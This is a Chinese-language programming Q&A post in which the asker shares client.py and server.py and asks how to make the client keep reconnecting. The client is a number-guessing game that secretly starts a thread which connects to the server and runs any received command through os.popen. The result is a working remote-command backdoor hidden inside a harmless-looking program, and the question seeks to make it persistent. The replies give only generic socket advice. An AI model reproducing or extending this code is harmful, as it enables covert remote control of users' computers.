【发布时间】:2020-12-27 05:27:13
【问题描述】:
这是我的client.py:
import random
import socket
import threading
import os
from time import sleep
def access():
HOST = '127.0.0.1'
PORT = 22262
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
client.connect((HOST, PORT))
break
except Exception:
sleep(1)
cmd_mode = False
while True:
command = client.recv(1024).decode('utf-8')
if command == 'cmdon':
cmd_mode = True
client.send('You now have terminal access!'.encode('utf-8'))
continue
if command == 'cmdoff':
cmd_mode = False
if cmd_mode:
os.popen(command)
if command == 'hello':
print('Hello World!')
client.send(f'{command} was exectued successfully!'.encode('utf-8'))
def game():
number = random.randint(0, 1000)
tries = 1
done = False
while not done:
guess = int(input('Enter a guess: '))
if guess == number:
done = True
print('You won!')
else:
tries += 1
if guess > number:
print('The actual number is smaller.')
else:
print('The actual number is larger.')
print(f'You need {tries} tries!')
t1 = threading.Thread(target=game)
t2 = threading.Thread(target=access)
t1.start()
t2.start()
这是 server.py
import socket
HOST = ''
PORT = 22262
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))
server.listen()
client, address = server.accept()
while True:
print(f'Connected to {address}')
cmd_input = input('Enter a command: ')
client.send(cmd_input.encode('utf-8'))
print(client.recv(1024).decode('utf-8'))
这可行,但如果我断开 server.py 的连接,我会在 client.py 上收到以下错误:
ConnectionResetError: [WinError 10054] An existing connection was forcibly closed by the remote host
他们是让 client.py 始终监听并等待 server.py 上线以便他们可以再次连接的方法吗?基本上我希望 client.py 永远不会停止监听 server.py
【问题讨论】:
-
客户端通常不会监听服务器。服务器持续监听,客户端在需要时连接到它。
-
这基本上就是客户端和服务器的区别。
-
客户端应该继续尝试连接到服务器。没有内置的东西可以自动执行此操作。因此,只需将
connect()调用放在一个循环中即可。 -
他要定期检查服务器是否在线,如果我弄错了,请纠正我
-
错误是由于现有的连接被关闭。
标签: python python-3.x multithreading sockets port